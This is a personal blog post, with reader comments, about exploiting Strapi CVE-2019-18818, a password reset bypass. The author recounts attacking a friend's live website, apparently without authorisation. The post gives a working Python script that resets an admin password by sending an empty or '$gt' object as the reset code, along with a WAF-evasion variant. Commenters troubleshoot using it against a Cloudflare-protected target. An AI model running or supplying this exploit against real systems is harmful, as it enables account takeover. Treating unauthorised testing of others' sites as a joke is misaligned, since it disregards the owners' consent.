Exploiting friends with CVE-2019-18818

Hello everyone, welcome back to the least updated blog ever!
Today I’m gonna present an exploit for Strapi CVE-2019-18818, found by Brian Adeloye I used on my friend’s website.

Here’s the thing, a few days ago a friend of mine launched a website: trabajosremotos, which allows lazy people like himself to find remote positions to apply for. I had a little spare time (I’d say about 20 minutes) yesterday so I took a look at his website to see if I could find something fun to fiddle with. Since he has not gave me any account and I was not gonna pay shit to test the publish functionality (sorry Carlos, I’m cheap), i took a look at the backend, which I noticed used Strapi.

First thing you see is a login page. Who would have thought. A quick google search and I found how how damn lucky I am! First result yelled “CLICK ME”, so I did. It was a CVE from Brian Adeloye, which contained a general description of the vulnerability.

The issue was apparently already fixed (gotta love that opensource-quickness) in version beta-17.5 so all I really needed to know before writing the exploit was the version running on my friend’s website.

That was quite quick to check:

curl https://api.trabajosremotos.es/admin/strapiVersion                                                                                                            

After looking the issue up on github, and taking a quick read at the changes, I wrote a quick-and-dirty stupid-proof exploit for it and hacked my way in (since none was available online). The issue was a lack of validation of the code parameter sent by the user, that leads to bypassing the code verification otherwise required for it to reset the password.

Well, that’s pretty much it. Morals of the story: always validate whatever comes from the user, and for fuck’s sake… update your shit buddy!

import requests
import sys
import json


if len(args) < 4:
    print("Usage: {} <admin_email> <url> <new_password>".format(args[0]))

email = args[1]
url = args[2]
new_password =  args[3]

s  =  requests.Session()

version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)

print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))

#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}
s.post("{}/".format(url), json=reset_request)

#Reset password to
print("[*] Setting new password...")
exploit={"code":{}, "password":new_password, "passwordConfirmation":new_password}
r=s.post("{}/admin/auth/reset-password".format(url), json=exploit)

print("[*] Response:")

UPDATE: apparently some WAFs detected the plain payload i used on the exploit {}. As n0ur5blog(nickaures) suggested, turning the payload to something like:

{"code":{"$gt":0}, "password":"password1", "passwordConfirmation":"password1"}

worked smoothly for him.

What’s really convenient about this vulnerability, is that you only really need the email as the username is given by the reset-password reponse.


It’s funny, I spent more time understanding how npm worked to setup a local instance of Strapi than exploiting the thing. I don’t want to sound rude but…

Image result for javascript sucks change my mind

That’s it for today, happy hacking!

10 thoughts on “Exploiting friends with CVE-2019-18818

      1. Hey! Thanks for hopping by, I’d suggest checking the url you are pointing to to be sure the strapi is actually reachable. I’m not on discord but you can jump on riot.im and catch me in ##blackhats:matrix.org 🙂


      2. Thanks for the response! I got it to work after spinning up a test environment on a VM. But when copying the exact script and trying to apply to the target (part of a web app pentest), I am now given b'{“statusCode”:500,”error”:”Internal Server Error”,”message”:”An internal server error occurred”}’. I wonder if CloudFlare just has some mitigation in place for this since I do know they have that out in front of the app.

        Liked by 1 person

      3. Might be, if I recall correctly strapi returns :

        {“statusCode”:400,”error”:”Bad Request”,”message”:[{“messages”:[{“id”:”Auth.form.error.code.provide”,”message”:”Incorrect code provided.”}]}]}

        if the application has been patched. So it may very well be a WAF. You could try chaning the payload to something else and see if it still gets blocked – which it shouldn’t. (eg. code:1234)

        Liked by 1 person

    1. I get “incorrect code” with code:1234 but the 500 internal server error message with {} payload still. So I am left to assume either they patched this issue manually some other way on the server (e.g. a custom rewrite rule or something), OR the Cloudflare WAF is stepping in somehow.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s